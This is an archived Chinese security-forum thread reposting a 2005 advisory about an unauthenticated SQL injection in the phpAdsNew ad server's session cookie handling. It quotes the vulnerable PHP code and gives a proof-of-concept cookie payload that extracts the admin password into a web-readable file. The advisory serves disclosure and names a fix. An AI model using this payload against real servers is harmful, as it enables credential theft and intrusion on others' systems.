邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2005-11-15 03:18

[转载]phpAdsNew SQL Injection漏洞及其测试方法

原始连接:[url]http://securitytracker.com/alerts/2005/Nov/1015193.html[/url]

Date of release: 11/11/2005
Software: phpAdsNew ([url]www.phpadsnew.com[/url])
Affected versions:
<= 2.0.6

2.0.7rc1 (latest CVS snapshot)
Risk: Medium
Discovered by: Kevin Fernandez "Siegfried" from the Zone-H Research Team

Background (from their web site)
----------
phpAdsNew is an open-source ad server, with an integrated banner
management interface and tracking system for gathering statistics.
With phpAdsNew you can easily rotate paid banners and your own
in-house advertisements. You can even integrate banners from third
party advertising companies.

Details
--------
Toni Koivunen has published an advisory yesterday regarding a
vulnerability exploitable via /admin/logout.php, that can be used to
delete arbitrary data (maybe more). However more sql injections are
present in this part of the code, all the functions in
/admin/lib-sessions.inc.php do not check the "sessionID" variable
coming from the cookie, the most interesting is
phpAds_SessionDataFetch() because it is called in config.php and makes
a simple SELECT query.

Snip:
[no previous check]
if (isset($HTTP_COOKIE_VARS[&#39;sessionID&#39;]) &&
$HTTP_COOKIE_VARS[&#39;sessionID&#39;] != &#39;&#39;)
{
$result = phpAds_dbQuery("SELECT sessiondata FROM
".$phpAds_config[&#39;tbl_session&#39;]." WHERE
sessionid=&#39;".$HTTP_COOKIE_VARS[&#39;sessionID&#39;]."&#39;" .
" AND UNIX_TIMESTAMP(NOW())-UNIX_TIMESTAMP(lastused) < 3600"); <-- ouch

Since /admin/config.php is included in /admin/index.php, we don&#39;t need
to be authenticated to exploit the vulnerability.

PoC (cookie):
sessionID=adsds&#39;/**/UNION/**/SELECT admin_pw from phpads_config into
outfile "/var/www/blah.txt"/*;

Just "exploit" one of the many errors in the pages to get the path and
here you go, open /admin/index.php with that as cookie.

Solution
---------
No patch.

Filter the variable in the affected functions.

lnylx 2005-11-15 13:36

能不能有中文注释一下.....什么意思..

页: [1]
© 1999-2008 EvilOctal Security Team